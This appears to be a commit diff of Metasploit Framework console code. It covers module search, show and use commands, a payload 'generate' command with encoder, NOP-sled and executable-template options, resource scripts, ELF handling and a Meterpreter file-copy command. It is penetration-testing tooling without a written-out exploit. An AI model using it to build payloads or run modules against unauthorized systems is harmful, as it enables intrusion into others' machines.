# This custom completion might better than Readline's... We'll leave it for now.
#tab_complete_filenames(str,words)
paths = []
if (File.directory?(str))
paths = Dir.entries(str)
paths = paths.map { |f|
if File.directory? File.join(str,f)
File.join(str,f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
d = Dir.glob(str + "*").map { |f| f if File.directory?(f) }
d.delete_if { |f| f.nil? or f == '.' or f == '..' }
# If there's only one possibility, descend to the next level
if (1 == d.length)
paths = Dir.entries(d[0])
paths = paths.map { |f|
if File.directory? File.join(d[0],f)
File.join(d[0],f)
end
}
paths.delete_if { |f| f.nil? or File.basename(f) == '.' or File.basename(f) == '..' }
else
paths = d
end
end
paths.sort!
return paths
end
def cmd_search_help
print_line "Usage: search [keywords]"
print_line
print_line "Keywords:"
{
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}"
end
print_line
print_line "Examples:"
print_line " search cve:2009 type:exploit app:client"
print_line
end
#
# Searches modules for specific keywords
#
def cmd_search(*args)
match = ''
@@search_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
print_error("Deprecated option. Use type:#{val} instead")
cmd_search_help
return
when "-h"
cmd_search_help
return
else
match += val + " "
end
}
if framework.db
if framework.db.migrated && framework.db.modules_cached
search_modules_sql(match)
return
else
print_warning("Module database cache not built yet, using slow search")
end
else
print_warning("Database not connected, using slow search")
end
tbl = generate_module_table("Matching Modules")
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
framework.nops,
framework.encoders
].each do |mset|
mset.each do |m|
o = mset.create(m[0]) rescue nil
# Expected if modules are loaded without the right pre-requirements
next if not o
if not o.search_filter(match)
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
print_line(tbl.to_s)
end
# Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)
end
#
# Tab completion for the search command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_search_tabs(str, words)
if words.length == 1
return @@search_opts.fmt.keys
end
case (words[-1])
when "-r"
return RankingName.sort.map{|r| r[1]}
when "-t"
return %w{auxiliary encoder exploit nop payload post}
end
[]
end
def cmd_show_help
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
module_opts = %w{ missing advanced evasion targets actions }
print_status("Additional module-specific parameters are: #{module_opts.join(", ")}")
end
#
# Displays the list of modules based on their type, or all modules if
# no type is provided.
#
def cmd_show(*args)
mod = self.active_module
args << "all" if (args.length == 0)
args.each { |type|
case type
when '-h'
cmd_show_help
when 'all'
show_encoders
show_nops
show_exploits
show_payloads
show_auxiliary
show_post
show_plugins
when 'encoders'
show_encoders
when 'nops'
show_nops
when 'exploits'
show_exploits
when 'payloads'
show_payloads
when 'auxiliary'
show_auxiliary
when 'post'
show_post
when 'info'
cmd_info(*args[1, args.length])
when 'options'
if (mod)
show_options(mod)
else
show_global_options
end
when 'missing'
if (mod)
show_missing(mod)
else
print_error("No module selected.")
end
when 'advanced'
if (mod)
show_advanced_options(mod)
else
print_error("No module selected.")
end
when 'evasion'
if (mod)
show_evasion_options(mod)
else
print_error("No module selected.")
end
when 'sessions'
if (active_module and active_module.respond_to?(:compatible_sessions))
sessions = active_module.compatible_sessions
else
sessions = framework.sessions.keys.sort
end
print_line
print(Serializer::ReadableText.dump_sessions(framework, :session_ids => sessions))
print_line
when "plugins"
show_plugins
when "targets"
if (mod and mod.exploit?)
show_targets(mod)
else
print_error("No exploit module selected.")
end
when "actions"
if mod && mod.kind_of?(Msf::Module::HasActions)
show_actions(mod)
else
print_error("No module with actions selected.")
end
else
print_error("Invalid parameter \"#{type}\", use \"show -h\" for more information")
end
}
end
#
# Tab completion for the show command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_show_tabs(str, words)
return [] if words.length > 1
res = %w{all encoders nops exploits payloads auxiliary post plugins options}
if (active_module)
res.concat(%w{ missing advanced evasion targets actions })
if (active_module.respond_to? :compatible_sessions)
res << "sessions"
end
end
return res
end
def cmd_use_help
print_line "Usage: use module_name"
print_line
print_line "The use command is used to interact with a module of a given name."
print_line
end
#
# Uses a module.
#
def cmd_use(*args)
if (args.length == 0)
cmd_use_help
return false
end
# Try to create an instance of the supplied module name
mod_name = args[0]
begin
mod = framework.modules.create(mod_name)
unless mod
# Try one more time; see #4549
sleep CMD_USE_TIMEOUT
mod = framework.modules.create(mod_name)
unless mod
print_error("Failed to load module: #{mod_name}")
return false
end
end
rescue Rex::AmbiguousArgumentError => info
print_error(info.to_s)
rescue NameError => info
log_error("The supplied module name is ambiguous: #{$!}.")
end
return false if (mod == nil)
# Enstack the command dispatcher for this module type
dispatcher = nil
case mod.type
when Msf::MODULE_ENCODER
dispatcher = Msf::Ui::Console::CommandDispatcher::Encoder
when Msf::MODULE_EXPLOIT
dispatcher = Msf::Ui::Console::CommandDispatcher::Exploit
when Msf::MODULE_NOP
dispatcher = Msf::Ui::Console::CommandDispatcher::Nop
when Msf::MODULE_PAYLOAD
dispatcher = Msf::Ui::Console::CommandDispatcher::Payload
when Msf::MODULE_AUX
dispatcher = Msf::Ui::Console::CommandDispatcher::Auxiliary
when Msf::MODULE_POST
dispatcher = Msf::Ui::Console::CommandDispatcher::Post
else
print_error("Unsupported module type: #{mod.type}")
return false
end
# If there's currently an active module, enqueque it and go back
if (active_module)
@previous_module = active_module
cmd_back()
end
if (dispatcher != nil)
driver.enstack_dispatcher(dispatcher)
end
# Update the active module
self.active_module = mod
# If a datastore cache exists for this module, then load it up
if @dscache[active_module.fullname]
active_module.datastore.update(@dscache[active_module.fullname])
end
@cache_payloads = nil
mod.init_ui(driver.input, driver.output)
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
end
#
# Command to take to the previously active module
#
def cmd_previous()
if @previous_module
self.cmd_use(@previous_module.fullname)
else
print_error("There isn't a previous module at the moment")
end
end
#
# Help for the 'previous' command
#
def cmd_previous_help
print_line "Usage: previous"
print_line
print_line "Set the previously loaded module as the current module"
print_line
end
#
# Command to enqueque a module on the module stack
#
def cmd_pushm(*args)
# could check if each argument is a valid module, but for now let them hang themselves
if args.count > 0
args.each do |arg|
@module_name_stack.push(arg)
# Note new modules are appended to the array and are only module (full)names
end
else #then just push the active module
if active_module
#print_status "Pushing the active module"
@module_name_stack.push(active_module.fullname)
else
print_error("There isn't an active module and you didn't specify a module to push")
return self.cmd_pushm_help
end
end
end
#
# Tab completion for the pushm command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_pushm_tabs(str, words)
tab_complete_module(str, words)
end
#
# Help for the 'pushm' command
#
def cmd_pushm_help
print_line "Usage: pushm [module1 [,module2, module3...]]"
print_line
print_line "push current active module or specified modules onto the module stack"
print_line
end
#
# Command to dequeque a module from the module stack
#
def cmd_popm(*args)
if (args.count > 1 or not args[0].respond_to?("to_i"))
return self.cmd_popm_help
elsif args.count == 1
# then pop 'n' items off the stack, but don't change the active module
if args[0].to_i >= @module_name_stack.count
# in case they pass in a number >= the length of @module_name_stack
@module_name_stack = []
print_status("The module stack is empty")
else
@module_name_stack.pop[args[0]]
end
else #then just pop the array and make that the active module
pop = @module_name_stack.pop
if pop
return self.cmd_use(pop)
else
print_error("There isn't anything to pop, the module stack is empty")
end
end
end
#
# Help for the 'popm' command
#
def cmd_popm_help
print_line "Usage: popm [n]"
print_line
print_line "pop the latest module off of the module stack and make it the active module"
print_line "or pop n modules off the stack, but don't change the active module"
print_line
end
#
# Tab completion for the use command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completd
def cmd_use_tabs(str, words)
return [] if words.length > 1
tab_complete_module(str, words)
end
def cmd_reload_all_help
print_line "Usage: reload_all"
print_line
print_line "Reload all modules from all configured module paths. This may take awhile."
print_line "See also: loadpath"
print_line
end
#
# Reload all module paths that we are aware of
#
def cmd_reload_all(*args)
if args.length > 0
cmd_reload_all_help
return
end
print_status("Reloading modules from all module paths...")
framework.modules.reload_modules
# Check for modules that failed to load
if framework.modules.module_load_error_by_path.length > 0
print_error("WARNING! The following modules could not be loaded!")
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
if framework.modules.module_load_warnings.length > 0
print_warning("The following modules were loaded with warnings:")
framework.modules.module_load_warnings.each do |path, error|
print_warning("\t#{path}: #{error}")
end
end
self.driver.run_single("banner")
end
def cmd_back_help
print_line "Usage: back"
print_line
print_line "Return to the global dispatcher context"
print_line
end
#
# Pop the current dispatcher stack context, assuming it isn't pointed at
# the core or database backend stack context.
#
def cmd_back(*args)
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core' and
driver.current_dispatcher.name != 'Database Backend')
# Reset the active module if we have one
if (active_module)
# Do NOT reset the UI anymore
# active_module.reset_ui
# Save the module's datastore so that we can load it later
# if the module is used again
@dscache[active_module.fullname] = active_module.datastore.dup
self.active_module = nil
end
# Destack the current dispatcher
driver.destack_dispatcher
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end
#
# Tab complete module names
#
def tab_complete_module(str, words)
res = []
framework.modules.module_types.each do |mtyp|
mset = framework.modules.module_names(mtyp)
mset.each do |mref|
res << mtyp + '/' + mref
end
end
return res.sort
end
#
# Module list enumeration
#
def show_encoders(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible encoders and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Encoders", active_module.compatible_encoders, regex, minrank, opts)
else
show_module_set("Encoders", framework.encoders, regex, minrank, opts)
end
end
def show_nops(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("NOP Generators", framework.nops, regex, minrank, opts)
end
def show_exploits(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Exploits", framework.exploits, regex, minrank, opts)
end
def show_payloads(regex = nil, minrank = nil, opts = nil) # :nodoc:
# If an active module has been selected and it's an exploit, get the
# list of compatible payloads and display them
if (active_module and active_module.exploit? == true)
show_module_set("Compatible Payloads", active_module.compatible_payloads, regex, minrank, opts)
else
show_module_set("Payloads", framework.payloads, regex, minrank, opts)
end
end
def show_auxiliary(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Auxiliary", framework.auxiliary, regex, minrank, opts)
end
def show_post(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set("Post", framework.post, regex, minrank, opts)
end
def show_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ')
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ')
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
# Print the selected target
if (mod.exploit? and mod.target)
mod_targ = Serializer::ReadableText.dump_exploit_target(mod, ' ')
print("\nExploit target:\n\n#{mod_targ}\n") if (mod_targ and mod_targ.length > 0)
end
# Print the selected action
if mod.kind_of?(Msf::Module::HasActions) && mod.action
mod_action = Serializer::ReadableText.dump_module_action(mod, ' ')
print("\n#{mod.type.capitalize} action:\n\n#{mod_action}\n") if (mod_action and mod_action.length > 0)
end
# Uncomment this line if u want target like msf2 format
#print("\nTarget: #{mod.target.name}\n\n")
end
def show_missing(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_options(mod, ' ', true)
print("\nModule options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_options(p, ' ', true)
print("\nPayload options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_global_options
columns = [ 'Option', 'Current Setting', 'Description' ]
tbl = Table.new(
Table::Style::Default,
'Header' => 'Global Options:',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => columns
)
[
[ 'ConsoleLogging', framework.datastore['ConsoleLogging'] || "false", 'Log all console input and output' ],
[ 'LogLevel', framework.datastore['LogLevel'] || "0", 'Verbosity of logs (default 0, max 3)' ],
[ 'MinimumRank', framework.datastore['MinimumRank'] || "0", 'The minimum rank of exploits that will run without explicit confirmation' ],
[ 'SessionLogging', framework.datastore['SessionLogging'] || "false", 'Log all input and output for sessions' ],
[ 'TimestampOutput', framework.datastore['TimestampOutput'] || "false", 'Prefix all console output with a timestamp' ],
[ 'Prompt', framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt.to_s.gsub(/%.../,"") , "The prompt string" ],
[ 'PromptChar', framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar.to_s.gsub(/%.../,""), "The prompt character" ],
[ 'PromptTimeFormat', framework.datastore['PromptTimeFormat'] || Time::DATE_FORMATS[:db].to_s, 'Format for timestamp escapes in prompts' ],
].each { |r| tbl << r }
print(tbl.to_s)
end
def show_targets(mod) # :nodoc:
mod_targs = Serializer::ReadableText.dump_exploit_targets(mod, ' ')
print("\nExploit targets:\n\n#{mod_targs}\n") if (mod_targs and mod_targs.length > 0)
end
def show_actions(mod) # :nodoc:
mod_actions = Serializer::ReadableText.dump_module_actions(mod, ' ')
print("\n#{mod.type.capitalize} actions:\n\n#{mod_actions}\n") if (mod_actions and mod_actions.length > 0)
end
def show_advanced_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_advanced_options(mod, ' ')
print("\nModule advanced options (#{mod.fullname}):\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_advanced_options(p, ' ')
print("\nPayload advanced options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_evasion_options(mod) # :nodoc:
mod_opt = Serializer::ReadableText.dump_evasion_options(mod, ' ')
print("\nModule evasion options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0)
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
return
end
p.share_datastore(mod.datastore)
if (p)
p_opt = Serializer::ReadableText.dump_evasion_options(p, ' ')
print("\nPayload evasion options (#{mod.datastore['PAYLOAD']}):\n\n#{p_opt}\n") if (p_opt and p_opt.length > 0)
end
end
end
def show_plugins # :nodoc:
tbl = Table.new(
Table::Style::Default,
'Header' => 'Plugins',
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Description' ]
)
framework.plugins.each { |plugin|
tbl << [ plugin.name, plugin.desc ]
}
print(tbl.to_s)
end
def show_module_set(type, module_set, regex = nil, minrank = nil, opts = nil) # :nodoc:
tbl = generate_module_table(type)
module_set.sort.each { |refname, mod|
o = nil
begin
o = mod.new
rescue ::Exception
end
next if not o
# handle a search string, search deep
if (
not regex or
o.name.match(regex) or
o.description.match(regex) or
o.refname.match(regex) or
o.references.map{|x| [x.ctx_id + '-' + x.ctx_val, x.to_s]}.join(' ').match(regex) or
o.author.to_s.match(regex)
)
if (not minrank or minrank <= o.rank)
show = true
if opts
mod_opt_keys = o.options.keys.map { |x| x.downcase }
opts.each do |opt,val|
if !mod_opt_keys.include?(opt.downcase) || (val != nil && o.datastore[opt] != val)
show = false
end
end
end
if (opts == nil or show == true)
tbl << [ refname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ]
end
end
end
}
print(tbl.to_s)
end
def generate_module_table(type) # :nodoc:
Table.new(
Table::Style::Default,
'Header' => type,
'Prefix' => "\n",
'Postfix' => "\n",
'Columns' => [ 'Name', 'Disclosure Date', 'Rank', 'Description' ]
)
end
end
end
end
end
end
+120 -118
View File
@@ -3,139 +3,141 @@
require 'rex/parser/arguments'
module Msf
module Ui
module Console
module CommandDispatcher
module Ui
module Console
module CommandDispatcher
###
#
# Payload module command dispatcher.
#
###
class Payload
class Payload
include Msf::Ui::Console::ModuleCommandDispatcher
include Msf::Ui::Console::ModuleCommandDispatcher
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
"-e" => [ true, "The name of the encoder module to use." ],
"-h" => [ false, "Help banner." ],
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
"-i" => [ true, "the number of encoding iterations." ])
@@generate_opts = Rex::Parser::Arguments.new(
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-E" => [ false, "Force encoding." ],
"-e" => [ true, "The name of the encoder module to use." ],
"-h" => [ false, "Help banner." ],
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
"-i" => [ true, "the number of encoding iterations." ])
#
# Returns the hash of commands specific to payload modules.
#
def commands
super.update({
"generate" => "Generates a payload",
})
end
#
# Returns the hash of commands specific to payload modules.
#
def commands
super.update({
"generate" => "Generates a payload",
})
end
#
# Returns the command dispatcher name.
#
def name
return "Payload"
end
#
# Returns the command dispatcher name.
#
def name
return "Payload"
end
#
# Generates a payload.
#
def cmd_generate(*args)
#
# Generates a payload.
#
def cmd_generate(*args)
# Parse the arguments
encoder_name = nil
sled_size = nil
option_str = nil
badchars = nil
type = "ruby"
ofile = nil
iter = 1
force = nil
template = nil
plat = nil
keep = false
# Parse the arguments
encoder_name = nil
sled_size = nil
option_str = nil
badchars = nil
type = "ruby"
ofile = nil
iter = 1
force = nil
template = nil
plat = nil
keep = false
@@generate_opts.parse(args) { |opt, idx, val|
case opt
when '-b'
badchars = Rex::Text.hex_to_raw(val)
when '-e'
encoder_name = val
when '-E'
force = true
when '-o'
option_str = val
when '-s'
sled_size = val.to_i
when '-t'
type = val
when '-f'
ofile = val
when '-i'
iter = val
when '-k'
keep = true
when '-p'
plat = val
when '-x'
template = val
when '-h'
print(
"Usage: generate [options]\n\n" +
"Generates a payload.\n" +
@@generate_opts.usage)
return true
end
}
if (encoder_name.nil? and mod.datastore['ENCODER'])
encoder_name = mod.datastore['ENCODER']
end
# Generate the payload
begin
buf = mod.generate_simple(
'BadChars' => badchars,
'Encoder' => encoder_name,
'Format' => type,
'NopSledSize' => sled_size,
'OptionStr' => option_str,
'ForceEncode' => force,
'Template' => template,
'Platform' => plat,
'KeepTemplateWorking' => keep,
'Iterations' => iter)
rescue
log_error("Payload generation failed: #{$!}")
return false
end
if(not ofile)
# Display generated payload
print(buf)
else
print_status("Writing #{buf.length} bytes to #{ofile}...")
fd = File.open(ofile, "wb")
fd.write(buf)
fd.close
end
@@generate_opts.parse(args) { |opt, idx, val|
case opt
when '-b'
badchars = Rex::Text.hex_to_raw(val)
when '-e'
encoder_name = val
when '-E'
force = true
when '-o'
option_str = val
when '-s'
sled_size = val.to_i
when '-t'
type = val
when '-f'
ofile = val
when '-i'
iter = val
when '-k'
keep = true
when '-p'
plat = val
when '-x'
template = val
when '-h'
print(
"Usage: generate [options]\n\n" +
"Generates a payload.\n" +
@@generate_opts.usage)
return true
end
end
end
}
if (encoder_name.nil? and mod.datastore['ENCODER'])
encoder_name = mod.datastore['ENCODER']
end
# Generate the payload
begin
buf = mod.generate_simple(
'BadChars' => badchars,
'Encoder' => encoder_name,
'Format' => type,
'NopSledSize' => sled_size,
'OptionStr' => option_str,
'ForceEncode' => force,
'Template' => template,
'Platform' => plat,
'KeepTemplateWorking' => keep,
'Iterations' => iter)
rescue
log_error("Payload generation failed: #{$!}")
return false
end
if(not ofile)
# Display generated payload
print(buf)
else
print_status("Writing #{buf.length} bytes to #{ofile}...")
fd = File.open(ofile, "wb")
fd.write(buf)
fd.close
end
return true
end
end
end end end end
@@ -0,0 +1,136 @@
# -*- coding: binary -*-
#
# Rex
#
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Resource
include Msf::Ui::Console::CommandDispatcher
def commands
{
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
}
end
#
# Returns the name of the command dispatcher.
#
def name
"Resource Script"
end
def cmd_resource_help
print_line "Usage: resource path1 [path2 ...]"
print_line
print_line "Run the commands stored in the supplied files. Resource files may also contain"
print_line "ruby code between <ruby></ruby> tags."
print_line
print_line "See also: makerc"
print_line
end
def cmd_resource(*args)
if args.empty?
cmd_resource_help
return false
end
args.each do |res|
good_res = nil
if ::File.exist?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path)
good_res = res_path
break
end
end
end
if good_res
driver.load_resource(good_res)
else
print_error("#{res} is not a valid resource file")
next
end
end
end
#
# Tab completion for the resource command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_resource_tabs(str, words)
tabs = []
#return tabs if words.length > 1
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
# then you are probably specifying a full path so let's just use normal file completion
return tab_complete_filenames(str,words)
elsif (not words[1] or not words[1].match(/^\//))
# then let's start tab completion in the scripts/resource directories
begin
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"."
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + File::SEPARATOR + e
::File.file?(path) and File.readable?(path)
}
end
rescue Exception
end
else
tabs += tab_complete_filenames(str,words)
end
return tabs
end
def cmd_makerc_help
print_line "Usage: makerc <output rc file>"
print_line
print_line "Save the commands executed since startup to the specified file."
print_line
end
#
# Saves commands executed since the ui started to the specified msfrc file
#
def cmd_makerc(*args)
if args.empty?
cmd_makerc_help
return false
end
driver.save_recent_history(args[0])
end
end
end
end
end
end
+13
View File
@@ -26,6 +26,15 @@ class Driver < Msf::Ui::Driver
DefaultPrompt = "%undmsf%clr"
DefaultPromptChar = "%clr>"
#
# Console Command Dispatchers to be loaded after the Core dispatcher.
#
CommandDispatchers = [
CommandDispatcher::Modules,
CommandDispatcher::Jobs,
CommandDispatcher::Resource
]
#
# The console driver processes various framework notified events.
#
@@ -108,6 +117,10 @@ class Driver < Msf::Ui::Driver
print_error("***")
end
# Load the other "core" command dispatchers
CommandDispatchers.each do |dispatcher|
enstack_dispatcher(dispatcher)
end
# Add the database dispatcher if it is usable
if (framework.db.usable)
+17
View File
@@ -107,6 +107,10 @@ require 'msf/core/exe/segment_appender'
# @return [String]
# @return [NilClass]
def self.to_executable(framework, arch, plat, code = '', opts = {})
if elf? code
return code
end
if arch.index(ARCH_X86)
if plat.index(Msf::Module::Platform::Windows)
@@ -959,6 +963,9 @@ require 'msf/core/exe/segment_appender'
# @param big_endian [Boolean] Set to "false" by default
# @return [String]
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
if elf? code
return code
end
# Allow the user to specify their own template
set_template_default(opts, template)
@@ -2127,6 +2134,9 @@ require 'msf/core/exe/segment_appender'
exeopts[:uac] = true
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86,nil
@@ -2154,6 +2164,9 @@ require 'msf/core/exe/segment_appender'
end
end
when 'elf-so'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X64
@@ -2293,6 +2306,10 @@ require 'msf/core/exe/segment_appender'
bo
end
def self.elf?(code)
code[0..3] == "\x7FELF"
end
end
end
end
+2 -1
View File
@@ -29,7 +29,8 @@ class PayloadCachedSize
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh'
'PEXEC' => '/bin/sh',
'StagerURILength' => 5
},
'Encoder' => nil,
'DisableNops' => true
@@ -12,6 +12,7 @@ module Sinks
class TimestampFlatfile < Flatfile
def log(sev, src, level, msg, from) # :nodoc:
return unless msg.present?
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
fd.write("[#{get_current_timestamp}] #{msg}\n")
fd.flush
@@ -226,6 +226,24 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
alias rename mv
end
#
# Performs a copy from oldname to newname
#
def File.cp(oldname, newname)
request = Packet.create_request('stdapi_fs_file_copy')
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
request.add_tlv(TLV_TYPE_FILE_PATH, client.unicode_filter_decode( newname ))
response = client.send_request(request)
return response
end
class << self
alias copy cp
end
#
# Upload one or more files to the remote remote directory supplied in
# +destination+.
@@ -319,6 +337,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
if ::File.exist?(dest_file)
dst_stat = ::File.stat(dest_file)
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
src_fd.close
return 'skipped'
end
end
@@ -95,7 +95,7 @@ class Console::CommandDispatcher::Core
# the platform update feature we can remove some of these conditions
if client.platform == 'windows' || client.platform == 'linux' ||
client.platform == 'python' || client.platform == 'java' ||
client.arch == ARCH_PYTHON || (client.arch == ARCH_JAVA && client.platform != 'android')
client.arch == ARCH_PYTHON || client.platform == 'android'
# Yet to implement transport hopping for other meterpreters.
c["transport"] = "Change the current transport mechanism"
@@ -71,6 +71,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'pwd' => 'Print working directory',
'rm' => 'Delete the specified file',
'mv' => 'Move source to destination',
'cp' => 'Copy source to destination',
'rmdir' => 'Remove directory',
'search' => 'Search for files',
'upload' => 'Upload a file or directory',
@@ -95,6 +96,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'rmdir' => ['stdapi_fs_delete_dir'],
'rm' => ['stdapi_fs_delete_file'],
'mv' => ['stdapi_fs_file_move'],
'cp' => ['stdapi_fs_file_copy'],
'search' => ['stdapi_fs_search'],
'upload' => [],
'show_mount' => ['stdapi_fs_mount_show'],
+1 -1
View File
@@ -139,7 +139,7 @@ begin
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
# prompt on Windows.
self.prompt = prompt
